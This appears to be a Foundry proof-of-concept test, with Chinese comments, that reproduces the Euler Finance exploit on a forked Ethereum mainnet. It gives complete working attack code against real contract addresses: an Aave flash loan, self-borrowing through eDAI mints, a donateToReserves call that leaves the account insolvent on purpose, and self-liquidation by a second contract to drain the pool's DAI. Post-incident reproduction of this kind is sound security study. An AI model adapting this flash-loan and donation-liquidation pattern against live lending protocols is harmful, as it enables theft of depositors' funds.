1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
|
// SPDX-License-Identifier: SEE LICENSE IN LICENSE
pragma solidity ^0.8.10;
import "forge-std/Test.sol";
// <https://docs.euler.finance/developers/getting-started/contract-reference#ieuleretoken>
interface EToken {
//将底层代币从发送者转移到 Euler 池中,并增加账户的 eToken
function deposit(uint256 subAccountId, uint256 amount) external;
//铸造 eToken 和相应数量的 dTokens(“自借”)
function mint(uint256 subAccountId, uint256 amount) external;
//销毁 eToken 和相应数量的 dTokens (“自还”)
function burn(uint subAccountId, uint amount) external;
//向储备金捐赠代币
function donateToReserves(uint256 subAccountId, uint256 amount) external;
//将底层代币从 Euler 池中转移到发送方,并减少账户的 eTokens
function withdraw(uint256 subAccountId, uint256 amount) external;
function balanceOf(address account) external view returns (uint);
function balanceOfUnderlying(address account) external view returns (uint);
function transfer(address to, uint amount) external returns (bool);
}
//https://docs.euler.finance/developers/getting-started/contract-reference#ieulerdtoken
interface DToken {
function repay(uint256 subAccountId, uint256 amount) external;
function balanceOf(address account) external view returns (uint);
}
interface IEuler {
//清算机会
struct LiquidationOpportunity {
//清算金额
uint256 repay;
//收益
uint256 yield;
//健康分数
uint256 healthScore;
//基础折扣
uint256 baseDiscount;
//折扣
uint256 discount;
//转换率
uint256 conversionRate;
}
function liquidate(
//清算者
address violator,
//底层代币(将要偿还的代币)
address underlying,
//抵押代币
address collateral,
//违规者要转给sender的基础DToken的数量,单位为基础代币。
uint256 repay,
//违规者要转给sender的EToken的最低可接受数量
uint256 minYield
) external;
//检查清算机会
function checkLiquidation(
//清算者
address liquidator,
//违规者
address violator,
//底层代币(将要偿还的代币)
address underlying,
//抵押代币
address collateral
) external returns (LiquidationOpportunity memory liqOpp);
}
interface IERC20 {
function approve(address spender, uint256 amount) external returns (bool);
function balanceOf(address) external view returns (uint256);
function decimals() external view returns (uint8);
function transfer(
address recipient,
uint256 amount
) external returns (bool);
}
// <https://docs.aave.com/developers/core-contracts/pool#flashloan>
interface IAaveFlashloan {
function flashLoan(
address receiver,
address[] calldata assets,
uint256[] calldata amounts,
uint256[] calldata modes,
address onBehalfOf,
bytes calldata params,
uint16 referralCode
) external;
}
// <https://docs.euler.finance/euler-protocol/addresses#mainnet>
IEuler constant Euler = IEuler(0xf43ce1d09050BAfd6980dD43Cde2aB9F18C85b34);
address constant EulerLiquidation = 0x27182842E098f60e3D576794A5bFFb0777E025d3;
IERC20 constant DAI = IERC20(0x6B175474E89094C44Da98b954EedeAC495271d0F);
EToken constant eDAI = EToken(0xe025E3ca2bE02316033184551D4d3Aa22024D9DC);
DToken constant dDAI = DToken(0x6085Bc95F506c326DCBCD7A6dd6c79FBc18d4686);
IAaveFlashloan constant AaveV2 = IAaveFlashloan(
0x7d2768dE32b0b80b7a3454c06BdAc94A69DDc7A9
);
contract Violator {
function DoSometingEvil() external {
DAI.approve(EulerLiquidation, type(uint256).max);
//将借款来的3000万DAI中的2000万DAI存入Euler池,
//并获得1950万的eDAI
eDAI.deposit(0, 20_000_000 * 1e18);
console2.log(
"[Violator] eDAI balance after deposit DAI: ",
eDAI.balanceOf(address(this)) / 1e18
);
//铸造2亿eDAI (获得2亿dDAI,即欠款2亿)
eDAI.mint(0, 200_000_000 * 1e18);
console2.log(
"[Violator] eDAI balance after eDAI.mint: ",
eDAI.balanceOf(address(this)) / 1e18
);
console2.log(
"[Violator] dDAI balance after eDAI.mint: ",
dDAI.balanceOf(address(this)) / 1e18
);
//使用DAI去还款1000万,此时贷款的3000万DAI被花光
//还拥有1.9亿dDAI,即欠款1.9亿
dDAI.repay(0, 10_000_000 * 1e18);
console2.log(
"[Violator] dDAI balance after dDAI.repay: ",
dDAI.balanceOf(address(this)) / 1e18
);
console2.log(
"[Violator] eDAI balance after dDAI.repay: ",
eDAI.balanceOf(address(this)) / 1e18
);
console2.log(
"[Violator] DAI balance after eDAI.mint: ",
DAI.balanceOf(address(this)) / 1e18
);
//再铸造2亿eDAI (获得2亿dDAI,即欠款2亿)
//此时拥有dDAI 3.9亿, 即欠款3.9亿
//此时拥有eDAI 4.1亿多,含2次的2亿铸造以及通过eDAI.deposit获得的
eDAI.mint(0, 200_000_000 * 1e18);
console2.log(
"[Violator] eDAI balance after eDAI.mint(2): ",
eDAI.balanceOf(address(this)) / 1e18
);
console2.log(
"[Violator] dDAI balance after eDAI.mint(2): ",
dDAI.balanceOf(address(this)) / 1e18
);
//捐献1亿的eDAI给Euler池
//此时拥有dDAI 3.9亿, 即欠款3.9亿
//此时拥有eDAI 3.1亿多,
eDAI.donateToReserves(0, 100_000_000 * 1e18);
console2.log(
"[Violator] eDAI balance after donateToReserves: ",
eDAI.balanceOf(address(this)) / 1e18
);
console2.log(
"[Violator] dDAI balance after donateToReserves: ",
dDAI.balanceOf(address(this)) / 1e18
);
console2.log(
"[Violator] DAI balance after donateToReserves: ",
DAI.balanceOf(address(this)) / 1e18
);
}
}
contract Liquidator is Test {
function checkHealth(address _who) private {
//第一个参数是清算者地址, 不能传自己,否则会报错: [FAIL. Reason: e/liq/self-liquidation]
IEuler.LiquidationOpportunity memory returnData = Euler
.checkLiquidation(address(0), _who, address(DAI), address(DAI));
emit log_named_decimal_uint("healthScore", returnData.healthScore, 18);
}
function liquidate(address liquidator, address violator) external {
// 清算前,Liquidator没有eDAI,也没有dDAI
console2.log(
"[Liquidator] eDAI balance before liquidate: ",
eDAI.balanceOf(address(this)) / 1e18
);
console2.log(
"[Liquidator] dDAI balance after liquidate: ",
dDAI.balanceOf(address(this)) / 1e18
);
// 计算清算机会
IEuler.LiquidationOpportunity memory returnData = Euler
.checkLiquidation(liquidator, violator, address(DAI), address(DAI));
console2.log(
"[Liquidator] checkLiquidation, repay: ",
returnData.repay / 1e18
);
console2.log(
"[Liquidator] checkLiquidation, yield: ",
returnData.yield / 1e18
);
console2.log(
"[Liquidator] checkLiquidation, healthScore: ",
returnData.healthScore
);
console2.log(
"[Liquidator] checkLiquidation, baseDiscount: ",
returnData.baseDiscount
);
console2.log(
"[Liquidator] checkLiquidation, discount: ",
returnData.discount
);
console2.log(
"[Liquidator] checkLiquidation, conversionRate: ",
returnData.conversionRate
);
// 清算
Euler.liquidate(
violator,
address(DAI),
address(DAI),
returnData.repay,
returnData.yield
);
//清算后, 违规者的eDAI被转移给清算者
console2.log(
"[Liquidator] eDAI balance after liquidate: ",
eDAI.balanceOf(address(this)) / 1e18
);
// 清算后, 违规者的dDAI(负债)也被转移给清算者(负债会按照打折价格转移给清算者)
console2.log(
"[Liquidator] dDAI balance after liquidate: ",
dDAI.balanceOf(address(this)) / 1e18
);
// 清算后,EulerLiquidation的DAI余额大概3800多万
console2.log(
"[Liquidator] DAI balance of EulerLiquidation after liquidate: ",
DAI.balanceOf(EulerLiquidation) / 1e18
);
checkHealth(address(this));
// 提现,由于清算者此时有约2亿6千万eDAI, EulerLiquidation只有3800多万的DAI,根本不够兑换
// 所以使用的是EulerLiquidation的最大值
eDAI.withdraw(0, DAI.balanceOf(EulerLiquidation));
DAI.transfer(msg.sender, DAI.balanceOf(address(this)));
//还有很多eDAI没有提取出来
console2.log(
"[Liquidator] eDAI balance after withdraw: ",
eDAI.balanceOf(address(this)) / 1e18
);
console2.log(
"[Liquidator] dDAI balance after withdraw: ",
dDAI.balanceOf(address(liquidator)) / 1e18
);
checkHealth(address(this));
}
}
contract POC is Test {
Violator violator;
Liquidator liquidator;
function setUp() public {
vm.createSelectFork("mainnet", 16_817_995);
vm.label(address(DAI), "DAI");
vm.label(address(eDAI), "eDAI");
vm.label(address(dDAI), "dDAI");
vm.label(address(AaveV2), "AaveV2");
vm.label(0xC6845a5C768BF8D7681249f8927877Efda425baf, "LogicOfAaveV2");
vm.label(address(Euler), "Euler");
vm.label(address(EulerLiquidation), "EulerLiquidation");
}
function testExploit() public {
emit log_named_decimal_uint(
"[POC] DAI balance after exploit",
DAI.balanceOf(address(this)),
DAI.decimals()
);
// 从AaveV2贷款3000万的DAI
uint256 aaveFlashLoanAmount = 30000000 * 1e18;
address[] memory assets = new address[](1);
assets[0] = address(DAI);
uint256[] memory amounts = new uint256[](1);
amounts[0] = aaveFlashLoanAmount;
uint256[] memory modes = new uint[](1);
modes[0] = 0;
bytes memory params = abi.encode();
AaveV2.flashLoan(
address(this), // receiver: the address that will receive the flash loan
assets, // assets: an array of asset addresses to be borrowed
amounts, // amounts: an array of amounts to be borrowed for each asset
modes, // modes: an array of modes (0 = no debt, 1 = stable, 2 = variable) for each asset
address(this), // onBehalfOf: the address on behalf of which the action is executed
params, // params: additional data to be passed to the receiver
0 // referralCode: referral code to be used for the flash loan
);
emit log_named_decimal_uint(
"[POC] DAI balance after exploit",
DAI.balanceOf(address(this)),
DAI.decimals()
);
}
function executeOperation(
address[] calldata,
uint256[] calldata,
uint256[] calldata,
address,
bytes calldata
) external returns (bool) {
violator = new Violator();
liquidator = new Liquidator();
//将贷款得到的3000万DAI转交给违规者
DAI.transfer(address(violator), DAI.balanceOf(address(this)));
//违规者做一些恶意操作
violator.DoSometingEvil();
//清算者清算违规者
liquidator.liquidate(address(liquidator), address(violator));
//从Eluer的获利数(不是净获利,还要还闪电贷的贷款3000多万)
emit log_named_decimal_uint(
"[POC] DAI balance after liquidate (before payback the loan)",
DAI.balanceOf(address(this)),
DAI.decimals()
);
//归还贷款:
// 批准AaveV2从当前合约扣除贷款本金和利息
//执行完业务逻辑后,fAaveV2会调用DAI::transferFrom从当前合约扣除贷款本金和利息
DAI.approve(address(AaveV2), type(uint256).max);
return true;
}
}
|